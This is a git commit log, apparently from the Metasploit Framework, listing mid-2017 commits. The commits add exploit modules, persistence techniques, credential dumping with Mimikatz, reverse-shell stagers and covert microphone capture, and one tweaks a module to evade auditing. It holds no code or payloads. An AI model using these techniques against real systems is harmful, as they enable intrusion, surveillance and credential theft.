2017-07-16 15:20:30 +02:00
tkmru
2f3090599e
change to use option
2017-07-16 19:58:50 +09:00
tkmru
6c5d8279ca
change to generate payload from metasm
2017-07-16 19:21:09 +09:00
RageLtMan
1a3fe02db1
Psexec via PSH related fixes
...
Implement removal of comspec and use of the noninteractive option
in powershell payloads.
This is the Msf side of #6 for rex-powershell.
Testing:
In-house testing on 2016 standard edition and win10, 201707 revs.
2017-07-16 05:48:11 -04:00
Spencer McIntyre
b4813ce2c7
Update the pre-exploit check conditions
2017-07-15 14:48:54 -04:00
Pearce Barry
9775df1f6e
Land #8586 , Easy Chat Server 2 to 3.1 - Buffer overflow (SEH) exploit
2017-07-14 15:20:01 -05:00
David Maloney
ee1c87b868
Land #8172 , example modules
...
lands several example modules
2017-07-14 15:17:20 -05:00
Jon Hart
e3e5c33b9b
WIP commit of RDP scanner
2017-07-14 13:02:43 -07:00
David Maloney
8f6cac9c37
Land #8652 , rpc console write exploit
...
lands pr for the metasploit rpc console write exploit
2017-07-14 14:47:35 -05:00
David Maloney
0fde6c6b42
Land #8650 , igss9 launch path
...
land pr to fix launch path in the igss9 exploit
2017-07-14 14:39:38 -05:00
David Maloney
c28b6a54d4
Land #8707 , kill cucumber
...
land bcook's pr to kill cucumber from framework
2017-07-14 11:25:05 -05:00
Pearce Barry
879c0d4878
Land #8714 , Default opts to an empty hash instead of nil
2017-07-14 10:24:47 -05:00
dmaloney-r7
d6ee0ca94d
Merge branch 'master' into kill-cucumber
2017-07-14 10:23:38 -05:00
Spencer McIntyre
833b2a67d4
Fix the architecture check for only x64
2017-07-14 07:06:54 -04:00
g0tmi1k
4720d1a31e
OCD fixes - Spaces
2017-07-14 08:46:59 +01:00
g0tmi1k
9309115627
OCD - Banner clean up
2017-07-14 08:19:50 +01:00
g0tmi1k
fd843f364b
Removed extra lines
2017-07-14 08:17:16 +01:00
g0tmi1k
a79692aac1
Typo
2017-07-14 08:16:30 +01:00
tkmru
5d45680bc1
Merge branch 'master' of https://github.com/rapid7/metasploit-framework into feature/linux_reverse_tcp_x86_retry
2017-07-14 13:53:53 +09:00
tkmru
f66021c8a2
update CachedSize
2017-07-14 13:53:43 +09:00
tkmru
4e046db9b3
add retry to linux reverse tcp x86
2017-07-14 12:47:32 +09:00
g0tmi1k
67310fa96c
print_status -> print_good. [When it is successful, show it!]
2017-07-14 00:09:35 +01:00
g0tmi1k
424522147e
OCD fixes - Start of *.rb files
2017-07-13 23:53:59 +01:00
James Lee
5c17f363be
Default opts to an empty hash instead of nil
...
Fixes #8709
2017-07-13 15:40:08 -05:00
bwatters-r7
de230478eb
Land #8566 , Add ye olde NNTP Login Utility scanner module
2017-07-13 13:19:34 -05:00
Spencer McIntyre
5470670223
Change the hook for windows 10 compatibility
2017-07-13 11:49:06 -04:00
RageLtMan
7e487ec745
fix request_ops per bcoles
2017-07-13 01:16:27 -04:00
Metasploit
03691cc35f
Bump version of framework to 4.15.1
2017-07-12 20:08:07 -07:00
Jon Hart
e52e9c147d
First commit for Cisco Smart Install Scanner
2017-07-12 19:12:06 -07:00
bwatters-r7
6793dd27ab
Land #8711 , Update stdin processing in resource scripting
2017-07-12 17:05:27 -05:00
Pearce Barry
59de7d3635
Land #8671 , Add a module for CVE-2017-7615
2017-07-12 14:58:02 -05:00
Pearce Barry
580219695a
Oof, missed the parens...
2017-07-12 13:52:59 -05:00
bwatters-r7
99bb091488
Land #8690 , Fix #8636 , [] for NilClass in session.fs.file.download_file
2017-07-12 13:43:12 -05:00
Pearce Barry
aa22651340
Few style/spelling tweaks, nothing to see here...
2017-07-12 13:41:20 -05:00
William Vu
18c9ac7abb
Update stdin processing in resource scripting
...
Originally in #4674 , I wanted to add stdin to msfconsole -r, but I
purposefully left off support for stdin in the console. Now it works.
2017-07-12 13:40:44 -05:00
James Barnett
e43adf0223
Land #8710 , explicitly use Rex::Encoder::XDR
...
The previous use of XDR in these modules allowed for namespace collisions
with similar gems.
2017-07-12 12:01:24 -05:00
Brent Cook
345407b0a4
Rex::Encoder::XDR conflicts with the XDR gem
2017-07-12 11:52:10 -05:00
Pearce Barry
e69460a529
Land #8683 , Remove duplicate setting of suhosin.simulation in php_cgi_arg_injection
2017-07-12 09:34:35 -05:00
Brent Cook
dbef4ee816
kill cucumber in framework
2017-07-12 08:00:29 -05:00
Brent Cook
8d23d1e05d
move the xpath pin to test group instead
2017-07-12 05:11:09 -05:00
Brent Cook
456bf80a7c
clarify when we need to remove the xpath pin
2017-07-12 05:06:53 -05:00
tkmru
62533509c6
fit source to shellcode prev change
2017-07-12 16:26:00 +09:00
h00die
b7d082fe06
land #8679 update to credits for rfpwnon
2017-07-11 19:36:41 -04:00
bwatters-r7
ad74a2ed5b
Land #8706 , Pin xpath version for integration testing
2017-07-11 17:24:06 -05:00
dmohanty-r7
38d5258c12
Lock xpath version to 2.0
2017-07-11 16:19:25 -05:00
William Webb
aa0fca9dd1
Land #8631 , Add railgun support to Python Meterpreter for the OSX
...
platform
2017-07-11 16:05:16 -05:00
RageLtMan
5473b2132d
Implement :request_url for Msf HttpClient mixin
...
To round out implementation of a simple path for users to access
HttpClient like Open or Net::HTTP, create :request_url method which
takes a single URL parameter, uses :request_opts_from_url to build
the request configuration for Rex::Proto::Http::Client, executes
a GET request with it, and disconnects the client unless keepalive
is specified as the second parameter to :request_url.
Example usage of functionality is implemented in http_pdf_authors.
2017-07-11 16:07:13 -04:00
Adam Cammack
14b37c2101
Land #8691 , Improve php reverse_tcp stager logic
2017-07-11 13:50:27 -05:00
Tim
db8698e82b
Land #8655 , add error handling to mipsle linux reverse tcp stager
2017-07-11 22:33:54 +08:00
Brent Cook
9e56dc512b
Land #8699 , update development vagrantfile
2017-07-11 08:49:24 -05:00
Brent Cook
e4ef4adf4d
fix #8693 , update Vagrant to latest rvm syntax
2017-07-10 21:41:50 -05:00
Brent Cook
cb64b2e62a
Land #8696 , Install gnupg2 package instead of gnupg
2017-07-10 21:21:43 -05:00
Matt Robinson
55cbd9b6a9
Add headers to php_eval
2017-07-10 21:25:27 -04:00
David Maloney
6d7a066477
fixes oracle_hashdump and jtr_oracle_fast modules
...
fixes functionality in the oracle database hashdumper
and the oracle hash cracker modules
2017-07-10 16:57:57 -05:00
Emanuel Bronshtein
e7c00367f7
Fix #8694 , Install gnupg2 package instead of gnupg
2017-07-11 00:20:01 +03:00
wchen-r7
50b1ec4044
Fix #8675 , Add Cache-Control header, also meta tag for BAP2
...
Hopefully that browsers will respect this.
Fix #8675
2017-07-10 16:05:09 -05:00
Spencer McIntyre
53d5060fbd
Add the LPE for CVE-2017-9769
2017-07-10 16:57:23 -04:00
Tim
b9f5ebcf66
update comment
2017-07-11 00:58:03 +08:00
wchen-r7
fe360e3e2a
Fix #8685 , Check nil condition for #wordlist_file in jtr modules
...
JTR modules should never assume there is always a database
connected while using #wordlist_file, considering a database is
an optional component for Framework.
Fix #8685
2017-07-10 11:18:20 -05:00
David Maloney
2ee6df66cf
Land #8514 , wmi persistence module
2017-07-10 09:53:55 -05:00
Christian Mehlmauer
d24e2943ca
update docker stuff
2017-07-10 16:38:10 +02:00
NickTyrer
f4c739c190
check if running as system
2017-07-10 10:05:57 +01:00
RageLtMan
df697aa23c
Implement HttpClient options generation from URL
...
To address the complexity which comes with the flexibility offered
by Rex::Proto::Http::Client and its Msf mixin descendant, a simple
process needs to be implemented for issuing a request using only
the URL string in order to provide ease of access to users who may
not have the time to study how these clients work in detail.
Implement :request_opts_from_url in Msf's HttpClient mixin such as
to extract the options required for :send_request_* from a URL
string passed into the method. This approach reduces HTTP requests
in the mixin to `send_request_raw(request_opts_from_url(url))` when
`url` is just a string.
Implement this approach in the http_pdf_authors gather module to
further reduce infrastructure complexity around the simple need to
acquire PDF files via HTTP/S.
Testing:
Local to this module only, and in Pry of course. Seems to work...
2017-07-10 04:19:26 -04:00
RageLtMan
997150a215
Use Msf::Exploit::Remote::HttpClient
...
Replace Net::HTTP usage with proper Rex::Proto::Http::Client via
the Msf module mixin. Generate the request opts from the same URI
parsed URL string, execute a one shot GET request, disconencting
after reciept of results. Depending on the response code, either
pass back an empty StringIO or if its 200, a StringIO(res.body).
2017-07-10 03:37:41 -04:00
Dave Farrow
653890f9d4
fixed unit tests
2017-07-09 16:08:32 -07:00
Emanuel Bronshtein
df024bb594
Remove duplicate setting of suhosin.simulation
2017-07-10 00:46:05 +03:00
Dave Farrow
e8d4ad8a89
Try all callable methods when creating socket
2017-07-09 11:26:57 -07:00
jvoisin
263a42707e
Fix a typo
2017-07-09 16:34:51 +02:00
jvoisin
8510cda5ae
Implement @bcoles advices
2017-07-09 16:34:10 +02:00
Tim
75c571de83
Land #8653 , add error handling to mipsbe linux reverse tcp stager
2017-07-09 19:36:15 +08:00
Tim
cd0c2c213f
pedantic tweaks
2017-07-09 19:36:03 +08:00
Corey Harding
50339289a7
Update rfpwnon.rb
2017-07-09 05:12:35 -04:00
Corey Harding
6cb956ea81
Update rfpwnon.md
2017-07-09 05:07:36 -04:00
jvoisin
f10cf75ae0
Fix some stuff
2017-07-09 10:45:15 +02:00
jvoisin
5fe805aaca
s/\t/ /g
2017-07-09 02:29:37 +02:00
jvoisin
968fa0c244
Add even more references
2017-07-09 02:27:54 +02:00
jvoisin
e1b9330136
Add some documentation
2017-07-09 02:25:11 +02:00
jvoisin
ae930ae7c1
Add a module for CVE-2017-7615
2017-07-09 02:14:21 +02:00
wchen-r7
d5d9e88851
Fix #8636 , [] for NilClass in session.fs.file.download_file
...
This fixes a [] for NilClass bug in the download_file API.
The opts argument is not checked for nil before the code looks for
the block_size key.
Fix #8636
2017-07-07 19:00:33 -05:00
Pearce Barry
e3f95954ba
Minor doc update.
2017-07-07 16:54:56 -05:00
Brendan Coles
95ba5d61ce
Move documentation to correct folder
2017-07-07 16:54:56 -05:00
Brendan Coles
8e2ff7a4c5
Add command stager and code cleanup
2017-07-07 16:54:56 -05:00
William Vu
b3be89b508
Land #8663 , typo fix for zoomeye_search
2017-07-07 16:53:48 -05:00
dmohanty-r7
8f464e17a1
Land #8658 , Add Gather PDF Authors auxiliary module
2017-07-07 16:20:29 -05:00
MD5HashBrowns
e5244f3113
Fixed typo
2017-07-07 15:26:37 -04:00
Brendan Coles
afc704aea5
Ad documentation
2017-07-07 18:54:48 +00:00
Brendan Coles
683ce10167
Add URL option
2017-07-07 18:42:00 +00:00
Brendan Coles
6a29b87a4c
Add pdf-reader dependency
2017-07-07 11:19:06 +00:00
William Vu
9cd254cea2
Land #8660 , more AKA references
2017-07-07 01:59:20 -05:00
Brent Cook
3bda361544
add old hackingteam leak name
2017-07-07 00:52:11 -05:00
Brent Cook
f4820d24fb
add a few more AKA references
2017-07-06 22:43:46 -05:00
Brendan Coles
d864ce16b1
Add Gather PDF Authors auxiliary module
2017-07-06 23:29:17 +00:00
William Vu
d02aa6f856
Land #8657 , print_status fix for jboss_vulnscan
2017-07-06 14:57:26 -05:00
William Vu
f45facdf6e
Fix HTTP verb in jboss_vulnscan print_status
2017-07-06 14:55:33 -05:00
Brent Cook
b0c5d734ee
s/swith/switch/ - ok @bcoles
2017-07-06 07:03:06 -05:00
tkmru
a4a959266b
update cachedSize
2017-07-06 17:43:27 +09:00
tkmru
ed0b5a843d
add error handling bin to reverse_tcp on mipsbe
2017-07-06 17:34:22 +09:00
tkmru
adeffd6600
add error handling to stager_sock_reverse src on mipsle
2017-07-06 17:07:11 +09:00
tkmru
2d8a71de6f
tab to space
2017-07-05 18:22:06 +09:00
tkmru
615eb53796
update cachedSize
2017-07-05 18:05:38 +09:00
tkmru
d02d6826a9
fix reverse tcp stager src
2017-07-05 17:56:59 +09:00
tkmru
d1f08a80bd
add error handling to reverse_tcp on mipsbe
2017-07-05 17:50:49 +09:00
Brendan Coles
baff473cae
Add Metasploit RPC Console Command Execution module
2017-07-05 08:48:35 +00:00
syndrome5
45af651993
Fix issue generate/launch path
...
Generate file in C:\ but try to launch it in Documents and Settings\All Users\Application Data\7T\
PoC with windows/meterpreter/reverse_tcp
2017-07-04 22:14:32 +02:00
Pearce Barry
baead02efc
Addressing PR feedback.
...
Removing the audio_stream_pool.rb class file for now, we can recreate for MS-2749 if we really need one.
2017-07-04 09:28:38 -05:00
William Vu
aceeedc895
Land #8647 , custom logger for module search
2017-07-03 17:03:25 -05:00
Brent Cook
06aa239d47
pass loggger conditionally to common search function
2017-07-03 16:22:47 -05:00
dmohanty-r7
aa387e96a7
Land #8577 , Add SurgeNews User Credentials scanner
2017-07-03 10:14:03 -05:00
Pearce Barry
ef1145c6b7
Use common code to delete non-applicable cmds.
2017-07-03 09:11:04 -05:00
Christian Mehlmauer
040ba90fc6
Land #8644 , text change in mysql_enum
2017-07-03 15:42:29 +02:00
Roman
38b1e56bbd
negated wording regarding legacy auth
...
According to the docs this variable means the opposite:
https://dev.mysql.com/doc/refman/5.5/en/mysql-command-options.html#option_mysql_secure-auth
OFF -> insecure
ON -> secure
2017-07-03 14:29:07 +02:00
OJ
4f054d25fc
Fix packet spec problems
2017-07-03 18:12:38 +10:00
OJ
228fb8c436
Fix small issue with encryptionf flag rendering
2017-07-03 17:31:09 +10:00
OJ
999d90687e
Make encryption flags 32 bit
...
This changes the encryption flags on the meterpreter session so that
it's 32 bits (and hence changes the packet header). This also supports
the idea that sessions may use encryption that isn't AES256, so the
flags field will ultimately indicate that. A type flag has been added so
that MSF knows the type that should be done on the wire.
At some point soon we'll add something that makes sure that the packet
encryption type always matches the encryption type expected in MSF, this
will hopefully avoid the risk of having packets injected into the stream
by external entities.
2017-07-03 16:52:58 +10:00
William Vu
c1f2fc1838
Add Msf::{Auxiliary,Post}::Complete
...
Not sure yet why we're doubling up on cleanup.
2017-07-03 00:26:49 -05:00
William Vu
48dddd1e46
Pretty-print fail_with for aux and post modules
2017-07-03 00:07:32 -05:00
Brendan Coles
dff96ce9a0
Re-order includes with Auxiliary::Scanner last
2017-07-01 08:30:17 +00:00
Pearce Barry
e21ae88b55
Update wave file header with actual length.
...
Fixes MS-2759.
2017-06-30 22:48:42 -05:00
Pearce Barry
a2602bf514
Land #8600 , Add GoAutoDial 3.3 RCE Command Injection / SQL injection module
2017-06-30 17:32:51 -05:00
Pearce Barry
dd530a2953
Minor indentation tweaks.
2017-06-30 17:29:43 -05:00
Pearce Barry
3d4d03c9b4
Land #8575 , Cerberus Helpdesk hash disclosure
2017-06-30 16:02:53 -05:00
Pearce Barry
71b2ddaa2c
Minor doc tweaking.
2017-06-30 15:53:27 -05:00
David Maloney
1cbc4af6b6
Land #8606
...
land's bcook's module search rpc work
2017-06-30 14:58:46 -05:00
James Lee
ada954aab9
Land #8624 , fix mis-ordered kiwi output
2017-06-30 14:23:24 -05:00
dmohanty-r7
be56d370db
Revert schema change
2017-06-30 11:39:20 -05:00
Pearce Barry
d2098137a9
Grab last bit of audio from target when done.
...
Also remove module that needs work (we can create later).
2017-06-30 10:56:49 -05:00
Brent Cook
796fe99744
update docs to note that cluster mode is not necessary to exploit
2017-06-30 11:26:35 -04:00
Brent Cook
40f0d36f6b
Land #8615 , add @artkond's DoS module for Cisco CVE-2017-3881
2017-06-30 11:17:09 -04:00
Brent Cook
819d810532
Land #8638 , remove ruby refinement for Rubinious support
2017-06-30 11:13:20 -04:00
Brent Cook
4393b6e563
Improve compatibility with Rubinius (alternate Ruby implementation)
2017-06-30 11:08:17 -04:00
Brent Cook
658b79414b
Land #8634 , Ensure HTTP client sends a Host header if it is passed with a request
2017-06-30 11:03:58 -04:00
Brent Cook
9677fd00c2
Land #8637 , add client-side SSL cert and mac address matchers to rex-socket
2017-06-30 10:53:53 -04:00
Brent Cook
fa79f90e4e
bump rex-socket, add client cert, mac address matching support
2017-06-30 10:46:15 -04:00
Pearce Barry
48e7e8397e
Make listen focus on prerecorded items.
2017-06-29 16:52:17 -05:00
Pearce Barry
e8468a5c99
Cleanup.
2017-06-29 16:52:17 -05:00
Pearce Barry
5c5044a80f
Stream audio data via channel (MS-2725).
2017-06-29 16:52:16 -05:00
dmohanty-r7
dd7726b894
Change to Audio Mic
2017-06-29 16:52:16 -05:00
dmohanty-r7
1bfa9366e6
Bring back to working
2017-06-29 16:52:15 -05:00
dmohanty-r7
bd9c15713d
Bring polling back in
2017-06-29 16:52:15 -05:00
dmohanty-r7
3d51301b98
Seperation of concerns
2017-06-29 16:52:15 -05:00
dmohanty-r7
c7b71a2b32
Seperate concerns of console/mic
2017-06-29 16:52:14 -05:00
dmohanty-r7
9ca74d69f1
add sleep
2017-06-29 16:52:14 -05:00
dmohanty-r7
d2cccae2a1
Use webrtc browser
2017-06-29 16:52:13 -05:00
dmohanty-r7
56b3b0e00d
Add more parameterization
2017-06-29 16:52:13 -05:00
dmohanty-r7
d9e1d21c56
Spacing
2017-06-29 16:52:13 -05:00
dmohanty-r7
d62f0cfd98
Add the mic stop command
2017-06-29 16:52:12 -05:00
dmohanty-r7
40ce03b85f
Parameterize playback configurations
2017-06-29 16:52:12 -05:00
dmohanty-r7
6f8f85df61
Open player for listening to audio
2017-06-29 16:52:12 -05:00
dmohanty-r7
60e009de8f
Use large datasize
2017-06-29 16:52:11 -05:00
dmohanty-r7
16a13723d0
Remove debug
2017-06-29 16:52:11 -05:00
dmohanty-r7
fa4ebadf0f
Make mic audio device stream work with mettle
2017-06-29 16:52:10 -05:00
dmohanty-r7
0a0e6c8576
Use audio stream pool
2017-06-29 16:52:10 -05:00
dmohanty-r7
197d377424
Fix commands to mic
2017-06-29 16:52:10 -05:00
Dev Mohanty
ebf967db3e
Add audio-channel
2017-06-29 16:52:09 -05:00
Anderson
959f9fe2d2
Updated lib/rex/proto/http/client_request.rb to ensure that the host header is formatted
2017-06-29 12:05:02 -07:00
NickTyrer
994f00622f
tidy module output
2017-06-29 16:12:23 +01:00
William Vu
7e1b50ab3b
Land #8629 , AKA (also known as) module reference
2017-06-28 19:15:45 -05:00
Brent Cook
aa8c580aba
updates
2017-06-28 20:14:38 -04:00
Brent Cook
d20036e0fb
revise spelling, add heartbleed and tidy checks
2017-06-28 18:50:20 -04:00
William Vu
43d8c4c5e7
Land #8519 , Apache ActiveMQ file upload exploit
2017-06-28 17:19:39 -05:00
Brent Cook
461ab4501d
add 'Also known as', AKA 'AKA', to module references
2017-06-28 15:53:00 -04:00
thesubtlety
a87f937634
fix msftidy warning
2017-06-28 11:53:11 -04:00
William Webb
6349026134
Land #8442 , Exploit module for Backup Exec Windows Agent UaF
2017-06-28 10:39:28 -05:00
OJ
3f99306370
Fix issue with python3 meterp
...
Due to the way python3 does things differently, the escaped char string
for the session guid didn't work in the way it was expected. Instead,
we're going to do what we did with the payload UUID and hex encode, and
use binascii to handling the translation for us.
2017-06-28 17:55:27 +10:00
thesubtlety
e1ca78e6c6
add option to enable job log parsing
2017-06-27 19:01:12 -04:00
thesubtlety
29c6f41622
add longer timeout for large file systems
2017-06-27 18:38:54 -04:00
Spencer McIntyre
52211ab6ae
Continue refactoring removal of "DLL" references
2017-06-27 18:00:01 -04:00
Spencer McIntyre
0da9f4d64a
Refactor railgun "DLL" references to library
2017-06-27 17:34:06 -04:00
Brent Cook
bdc932a235
Land #8603 , Make keyscan active window logging discretionary
2017-06-27 04:09:00 -05:00
Brent Cook
eba8979914
bump payloads
2017-06-27 04:08:15 -05:00
Brent Cook
e08bd84038
Merge branch 'upstream-master' into land-8603-
2017-06-27 04:03:31 -05:00
Brent Cook
cb82bdc6a9
Land #8607 , add error handling to x64 Linux stagers
2017-06-27 03:53:07 -05:00
Brent Cook
0f48afa7ba
Land #8622 , normalize short meterpreter command flags
2017-06-27 02:09:12 -05:00
Brent Cook
4f555120e3
Land #8623 , handle arguments in cmd_previous
2017-06-27 02:00:56 -05:00
Brent Cook
0d9f57ad7c
add @artkond's DoS module for Cisco CVE-2017-3881
...
This makes a few improvements, adds module docs.
2017-06-27 01:53:23 -05:00
OJ
8e1e505730
Fix output of MSV creds dumping in Kiwi
...
The data being pulled out of the MSV credential dump was not being
rendered propertly because it was assumed that all accounts would
provide the same set of hashes/details for each entry found. However,
this was not the case. Some have NTLM & SHA1, others have LM & NTLM,
some have DPAPI when others don't.
This code generates tables based on the values found, and renders those
values in the appropriate columns, and if the values don't exist for
a given account, the column is left blank.
Fixes #8620
2017-06-27 15:43:40 +10:00
William Vu
1637f55c65
Handle ArgumentError when previous gets args
...
Dumb patch.
2017-06-27 00:41:26 -05:00
thesubtlety
10c663dd3e
initial commit
2017-06-27 01:37:22 -04:00
William Vu
66161b10c5
Land #8455 , post module for mounting VMDKs
2017-06-27 00:35:48 -05:00
OJ
49e34d70c3
Remove uses of multi-char args for meterpreter commands
2017-06-27 13:06:10 +10:00
Spencer McIntyre
ea83cb0bb6
Make the railgun def class names platform specific
2017-06-26 19:53:19 -04:00
William Vu
639f341b21
Clean up module
2017-06-26 15:08:37 -05:00
OJ
25e323fc4b
Support AES renegotiation after session migration
2017-06-26 20:50:12 +10:00
OJ
3c767552e9
Make session list show the encryption status
...
Both extended and verbose session logging will show which of the
sessions has the encryption enabled as it's not yet supported on all
sessions.
2017-06-26 16:41:58 +10:00
OJ
9f2be21eb7
Ignore missing method error when doing aes negotiation
...
This means that meterpreter instances that don't support will continue
to work.
2017-06-26 15:22:56 +10:00
Brent Cook
05c72214ae
Land #8205 , Add Satel SenNet Command Exec Module
2017-06-25 18:01:44 -05:00
Rob Fuller
2918b3af13
Land #8599 , Dynamic DNS updater module
2017-06-25 15:08:22 -05:00
Brent Cook
07e7baebb8
sign my name
2017-06-25 14:59:01 -05:00
Brent Cook
7bc0dcea42
add ipv6 support for CHOST
2017-06-25 14:57:15 -05:00
Rob Fuller
1a300586a2
add RSS feed plugin
2017-06-25 13:22:46 -05:00
Mzack9999
66eb89e72a
Exploit now uses HTTP mixin
2017-06-25 16:38:21 +02:00
OJ
bdcea7bd22
Fix http AES packet dispatching
2017-06-25 19:51:25 +10:00
OJ
494d389aa2
Merge upstream/master into packet encryption
2017-06-25 19:06:31 +10:00
tkmru
084b211e9b
add x64 stager_sock_reverse src
2017-06-25 16:31:37 +09:00
OJ
67b1a19aa1
Finalised MSF-side of AES key negotiation over RSA
2017-06-25 10:24:00 +10:00
Brent Cook
269597f994
add initial CHOST support
2017-06-24 18:57:43 -05:00
Brent Cook
eee1eff034
improve resolve / add / delete logic
2017-06-24 18:36:01 -05:00
Brent Cook
b36d56bed3
handle RXDomain on lookup failure
2017-06-24 18:10:50 -05:00
William Webb
bf85386acf
add help switch
2017-06-24 17:45:53 -05:00
Rob Fuller
24fe6ac0fe
Update dns_dyn_update.md
2017-06-24 17:07:56 -05:00
tkmru
0685cb5ab4
update CacheSize
2017-06-25 06:25:07 +09:00
tkmru
799fcbd9e7
add error handling to x64 reverse tcp stager
2017-06-25 06:22:25 +09:00
Brent Cook
79657f5b5b
remove silly spec
2017-06-24 16:00:46 -05:00
Brent Cook
5635e81a87
export module.search command
2017-06-24 15:50:37 -05:00
Brent Cook
e0695cbf9b
add a framework-wide search method
2017-06-24 15:09:32 -05:00
NickTyrer
bc8de0fc66
fixed issue where starting waitfor.exe would hang the module
2017-06-24 20:54:31 +01:00
Brent Cook
8eceef18d9
refactor search, separate search bits from output
2017-06-24 14:51:14 -05:00
James Lee
6a8d54a93c
Land #8545 , ps table output fixes
2017-06-24 14:43:51 -05:00
NickTyrer
aa18598580
updated cleanup method to remove_persistence to prevent creating rc file even if module fails
2017-06-24 19:20:02 +01:00
h00die
f9493f46d7
bcole fixes
2017-06-24 14:06:11 -04:00
Brent Cook
c8755a3a7a
add pre-flight checks, log a lot more info
2017-06-24 12:32:15 -05:00
h00die
cc9326d946
bcoles updates and table printing
2017-06-24 13:01:39 -04:00
Brent Cook
8f3c470bb3
make usage more intuitive, remove weird defaults
2017-06-24 11:52:52 -05:00
Spencer McIntyre
feb8d14fe6
Make the TryToFork option generic
2017-06-23 21:08:49 -05:00
Brent Cook
04f0a55ed4
revert back to Ruby 2.4.1
2017-06-23 20:39:44 -05:00
Brent Cook
80c8dba680
See #8598 , add remainder commit for winpmem update
2017-06-23 19:31:11 -05:00
Brent Cook
1762fe56c9
Land #8589 , Fix 64-bit support for the winpmem extension
2017-06-23 19:27:31 -05:00
Brent Cook
7a006e0f71
bump payloads
2017-06-23 18:13:52 -05:00
Brent Cook
aa711cb71d
print a friendlier status msg
2017-06-23 18:12:37 -05:00
Brent Cook
401d3eb9cf
update winpmem dump handler for 64-bit support
2017-06-23 18:12:37 -05:00
Brent Cook
c3090a4f9c
Land #8601 , make session logging more useful, don't lose characters
2017-06-23 17:36:01 -05:00
Rob Fuller
fdd62ab112
Land #8604 , Incorporate fix for workspace delete
2017-06-23 17:30:57 -05:00
Brent Cook
148f1821d0
Land #8549 , Update to Mimikatz 2.1.1 20170608 for changentlm function
2017-06-23 17:18:48 -05:00
Brent Cook
714b7d0a02
bump metasploit_data_models, speedup workspace deletion
2017-06-23 17:02:32 -05:00
William Webb
9eeb3dc143
use typical command option and TLV scheme instead of dumb stuff for keyscan_start
2017-06-23 13:11:12 -05:00
NickTyrer
655358cdf1
added missing newline in cleanup method
2017-06-23 17:58:11 +01:00
NickTyrer
916a4da182
fixed cleanup method to include all cleanup options
2017-06-23 17:38:48 +01:00
NickTyrer
412ea9432d
removed whitespace
2017-06-23 17:17:07 +01:00
NickTyrer
e7d6d5350f
added WAITFOR persistence method
2017-06-23 17:05:39 +01:00
Brendan Coles
f259682f12
Add documentation
2017-06-23 12:40:53 +00:00
Mzack9999
a8865252da
Added exploit documentation
2017-06-23 14:12:04 +02:00
Dirkjan Mollema
03b36757e4
Added session name to logfile name
2017-06-23 13:26:36 +02:00
Dirkjan Mollema
24379f907e
Fixed timestamped logger cutting off last character ( fixes #8597 )
2017-06-23 13:19:16 +02:00
OJ
5588d0f7b2
Update payload cached sizes
2017-06-23 13:45:04 +10:00
OJ
87cee65a06
Bump payloads to 1.2.35 to include kiwi updates
2017-06-23 13:43:00 +10:00
OJ
a3607c6802
Update to Mimikatz 2.1.1 20170608 to include changntlm
2017-06-23 13:40:01 +10:00
James Lee
283f36f79a
Compare headers w/process keys instead of themselves
...
Also clarifies a bunch of old bad variable names
2017-06-22 21:43:11 -05:00
Brent Cook
2617ae7609
Land #8513 , check extapi commands for dependencies
2017-06-22 20:21:26 -05:00
Brent Cook
fda2e8c73d
Land #8523 , Add support for session GUIDs
2017-06-22 20:10:10 -05:00
Metasploit
fad696ed58
Bump version of framework to 4.15.0
2017-06-22 18:02:38 -07:00
dmohanty-r7
18410d8230
Land #8540 , Add Symantec Messaging Gateway RCE
2017-06-22 19:00:32 -05:00
Brent Cook
24c43b1822
reregister rhost
2017-06-22 18:33:19 -05:00
Brent Cook
ca813e7a5c
fix message formatting
2017-06-22 18:21:33 -05:00
Brent Cook
823260cc04
fix error message
2017-06-22 18:11:07 -05:00
Brent Cook
3cf722a45d
use correct preqrequisites
2017-06-22 18:08:20 -05:00
Brent Cook
5e48a11e60
handle specific exceptions, update docs
2017-06-22 18:01:52 -05:00
Brent Cook
6a261b172f
move from scanner to admin
2017-06-22 17:47:04 -05:00
Brent Cook
125d14f81e
simplify module, add AAAA support
2017-06-22 17:44:55 -05:00
Brent Cook
cdf0091962
fixup docs
2017-06-22 16:07:34 -05:00
KINGSABRI
b618e5ca6f
Add more exception handling, fix tidy rules
2017-06-22 15:55:04 -05:00
KINGSABRI
ce124e6090
Add CNAME record
2017-06-22 15:55:04 -05:00
KINGSABRI
5528084e27
add Dnsruby
2017-06-22 15:55:04 -05:00
KINGSABRI
2410a3232f
Adding DNS Server Dynamic Update Record Injection module
2017-06-22 15:41:25 -05:00
David Maloney
c307cfab50
Land #8592 , rpc module info
...
enhance module details returned by the RPC
2017-06-22 14:18:39 -05:00
David Maloney
3a445655ae
Land #8511 , console search options
...
lands sempervictus' console search command
enahncements and bug fixes
2017-06-22 12:07:10 -05:00
Brent Cook
4fdd77f19a
Land #8051 , Add Netgear DGN2200v1/v2/v3/v4 Command Injection Module
2017-06-22 11:46:40 -05:00
Brent Cook
a4e8cdfa6e
msftidy fixes
2017-06-22 11:44:40 -05:00
Brent Cook
3b248c78f3
resurrect old example modules, integrate into module tree
2017-06-22 11:36:35 -05:00
William Webb
02e4edc4cb
Land #8579 , Easy File Sharing HTTP Server 7.2 - Post Overflow exploit
2017-06-22 10:56:41 -05:00
Spencer McIntyre
549ebb4ff6
Patch in the new PythonMeterpreterTryToFork option
2017-06-22 10:55:08 -05:00
William Webb
35c0f0e410
Land #8596 , Fix rex arguments parser to handle adjacent flags
2017-06-22 10:33:23 -05:00
Brent Cook
0eaffde4b3
fix rex arguments parser to handle adjacent flags, update accordingly
2017-06-22 09:54:03 -05:00
William Webb
47a659f554
Land #8185 , Convert ntp modules to bindata
2017-06-22 09:37:58 -05:00
William Vu
3293a8fe67
Land #8594 , rspec-retry Heisenspec fix
2017-06-21 19:57:57 -05:00
Jin Qian
b51fc0a34e
Land #8489 , more httpClient modules use store_valid_credential
2017-06-21 17:18:34 -05:00
Jeffrey Martin
99fb905bbd
fix typo
2017-06-21 16:52:09 -05:00
Brent Cook
eb4c4c911b
Land #8587 , Add android wakelock command to turn the screen on
2017-06-21 14:48:20 -05:00
Brent Cook
225629aae2
Land #8593 , Fix enum_wayback using CDX API
2017-06-21 14:46:12 -05:00
William Vu
ceba4e6d61
Add pointer to CDX API
2017-06-21 12:34:40 -05:00
William Vu
c12056d242
Fix enum_wayback using CDX API
2017-06-21 12:29:15 -05:00
NickTyrer
24404ae40f
added heredoc to tidy formatting
...
changed USER persistence method to EVENT to better describe technique
removed "auditpol.exe /set /subcategory:Logon /failure:Enable" command from subscription_event method to be more opsec safe
added CUSTOM_PS_COMMAND advanced option
updated description to reflect changes
2017-06-21 18:15:13 +01:00
